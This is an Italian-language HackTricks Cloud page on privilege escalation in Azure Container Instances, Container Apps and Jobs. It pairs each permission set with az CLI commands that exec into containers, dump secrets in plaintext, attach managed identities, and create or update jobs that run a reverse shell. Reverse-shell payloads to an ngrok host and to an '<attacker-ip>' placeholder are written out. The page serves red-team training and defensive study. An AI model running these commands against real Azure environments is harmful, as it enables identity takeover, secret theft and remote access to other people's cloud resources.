Az - Azure Container Instances, Apps & Jobs Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Azure Container Instances, Apps & Jobs
Per ulteriori informazioni controlla:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action
Questi permessi consentono allâutente di eseguire un comando in un container in esecuzione. Questo può essere utilizzato per escalare i privilegi nel container se ha unâidentitĂ gestita allegata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata allâinterno del container.
Ottenere una shell è semplice come:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
Ă anche possibile leggere lâoutput del container con:
az container attach --name <container-name> --resource-group <res-group>
Oppure ottieni i log con:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Queste autorizzazioni consentono di allegare unâidentitĂ gestita dallâutente a un gruppo di contenitori. Questo è molto utile per elevare i privilegi nel contenitore.
Per allegare unâidentitĂ gestita dallâutente a un gruppo di contenitori:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Queste autorizzazioni consentono di creare o aggiornare un gruppo di contenitori con un identitĂ gestita dallâutente ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore.
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
Inoltre, è possibile aggiornare un gruppo di contenitori esistente aggiungendo ad esempio lâargomento --command-line con una reverse shell.
ACA
Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action
Queste autorizzazioni consentono allâutente di ottenere una shell in un contenitore di applicazione in esecuzione. Questo può essere utilizzato per escalare i privilegi nel contenitore se ha unâidentitĂ gestita associata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata allâinterno del contenitore.
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
Questo permesso consente di ottenere il testo in chiaro dei segreti configurati allâinterno di unâapp container. Si noti che i segreti possono essere configurati con il testo in chiaro o con un link a un key vault (in tal caso lâapp avrĂ assegnata unâidentitĂ gestita con accesso ai segreti).
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Queste autorizzazioni consentono di allegare unâidentitĂ gestita dallâutente a unâapp container. Questo è molto utile per elevare i privilegi nel container. Eseguire questa azione dallâaz cli richiede anche lâautorizzazione Microsoft.App/containerApps/listSecrets/action.
Per allegare unâidentitĂ gestita dallâutente a un gruppo di container:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action
Queste autorizzazioni consentono di creare o aggiornare un contenitore di applicazione con un identitĂ gestita dallâutente ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore.
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
Tip
Nota che con queste autorizzazioni altre configurazioni dellâapp possono essere modificate, il che potrebbe consentire di eseguire altre attacchi di privesc e post exploitation a seconda della configurazione delle app esistenti.
Jobs
Microsoft.App/jobs/read, Microsoft.App/jobs/write
Sebbene i job non siano a lungo termine come le app container, puoi sfruttare la possibilitĂ di sovrascrivere la configurazione del comando del job allâavvio di unâesecuzione. Creando un modello di job personalizzato (ad esempio, sostituendo il comando predefinito con una reverse shell), puoi ottenere accesso alla shell allâinterno del container che esegue il job.
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the containerâs command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action
Se hai questi permessi, puoi elencare tutti i segreti (primo permesso) allâinterno di un contenitore Job e poi leggere i valori dei segreti configurati.
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write
Se hai il permesso di modificare la configurazione di un lavoro, puoi allegare unâidentitĂ gestita assegnata dallâutente. Questa identitĂ potrebbe avere privilegi aggiuntivi (ad esempio, accesso ad altre risorse o segreti) che possono essere sfruttati per elevare i privilegi allâinterno del contenitore.
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Se puoi creare un nuovo Container Apps Job (o aggiornare uno esistente) e allegare unâidentitĂ gestita, puoi progettare il lavoro per eseguire un payload che escalda i privilegi. Ad esempio, potresti creare un nuovo lavoro che non solo esegue una reverse shell ma utilizza anche le credenziali dellâidentitĂ gestita per richiedere token o accedere ad altre risorse.
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
Tip
Questo comando genererĂ un errore se non hai il permesso
Microsoft.App/jobs/read, anche se il Job verrĂ creato.
microsoft.app/jobs/start/action, microsoft.app/jobs/read
Sembra che con questi permessi dovrebbe essere possibile avviare un job. Questo potrebbe essere utilizzato per avviare un job con una reverse shell o qualsiasi altro comando malevolo senza dover modificare la configurazione del job.
Non sono riuscito a farlo funzionare, ma secondo i parametri consentiti dovrebbe essere possibile.
Microsoft.ContainerInstance/containerGroups/restart/action
Consente di riavviare un gruppo di contenitori specifico allâinterno di Azure Container Instances.
az container restart --resource-group <resource-group> --name <container-instances>
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

